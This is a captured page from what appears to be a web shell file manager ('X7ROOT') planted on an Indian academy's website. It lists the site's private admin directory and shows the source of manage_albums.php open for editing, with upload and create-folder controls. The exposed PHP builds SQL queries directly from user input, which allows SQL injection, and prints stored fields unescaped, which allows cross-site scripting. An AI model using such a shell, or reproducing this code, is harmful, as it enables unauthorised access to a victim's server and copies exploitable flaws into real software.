X7ROOT File Manager
Current Path:
/home/u126090504/domains/kiitacademy.in/public_html/admin
home
/
u126090504
/
domains
/
kiitacademy.in
/
public_html
/
admin
/
📁
..
📄
achievers.php
(8.99 KB)
📄
admissions.php
(5.67 KB)
📄
banners.php
(5.47 KB)
📄
change_password.php
(3.54 KB)
📄
contacts.php
(3.83 KB)
📄
dashboard.php
(8.71 KB)
📄
downloads.php
(4.91 KB)
📄
export_franchise.php
(930 B)
📄
faculty.php
(9.92 KB)
📄
forgot_password.php
(3.75 KB)
📄
franchise.php
(7.28 KB)
📄
gallery.php
(3.08 KB)
📁
includes
📄
index.php
(82 B)
📄
login.php
(6.59 KB)
📄
logout.php
(102 B)
📄
manage_albums.php
(2.28 KB)
📄
manage_media.php
(3.02 KB)
📄
manage_photos.php
(5.66 KB)
📄
manage_videos.php
(3.62 KB)
📄
new_password.php
(3.9 KB)
📄
notices.php
(8.24 KB)
📄
payments.php
(15.23 KB)
📄
popup.php
(10.68 KB)
📄
reset_password.php
(4.23 KB)
📄
secure_session.php
(1000 B)
📄
settings.php
(5.21 KB)
📄
testimonials.php
(10.25 KB)
📄
update_status.php
(1.29 KB)
📄
upi_settings.php
(1.52 KB)
Editing: manage_albums.php
<?php include 'secure_session.php'; // 🔐 Always first (session security) include 'includes/auth.php'; // ✅ Your authentication check require_once '../config.php'; // ✅ DB connection $success = $error = ""; // Add Album if (isset($_POST['add_album'])) { $name = $_POST['name']; $desc = $_POST['description']; $conn->query("INSERT INTO albums (name, description) VALUES ('$name', '$desc')"); } // Delete Album if (isset($_GET['delete'])) { $id = $_GET['delete']; $conn->query("DELETE FROM albums WHERE id=$id"); } ?> <!DOCTYPE html> <html> <head> <title>Manage Albums</title> <link rel="stylesheet" href="../css/bootstrap.min.css"> </head> <body class="container mt-4"> <div class="d-flex justify-content-between align-items-center mb-4"> <h2>Manage Albums</h2> <a href="dashboard.php" class="btn btn-dark">⬅ Go to Dashboard</a> </div> <!-- Album Form --> <form method="post" class="mb-4"> <input type="text" name="name" placeholder="Album Name" class="form-control mb-2" required> <textarea name="description" placeholder="Description" class="form-control mb-2"></textarea> <button type="submit" name="add_album" class="btn btn-primary">Add Album</button> <a href="manage_photos.php" class="btn btn-success">Add Photos</a> </form> <!-- Album List --> <table class="table table-bordered table-striped"> <thead class="thead-dark"> <tr> <th>ID</th> <th>Name</th> <th>Description</th> <th>Action</th> </tr> </thead> <tbody> <?php $res = $conn->query("SELECT * FROM albums ORDER BY created_at DESC"); if ($res->num_rows > 0) { while ($row = $res->fetch_assoc()) { echo "<tr> <td>{$row['id']}</td> <td>{$row['name']}</td> <td>{$row['description']}</td> <td> <a href='?delete={$row['id']}' class='btn btn-danger btn-sm' onclick='return confirm(\"Delete this album?\")'>Delete</a> </td> </tr>"; } } else { echo "<tr><td colspan='4' class='text-center'>No albums found</td></tr>"; } ?> </tbody> </table> </body> </html>
Upload File
Create Folder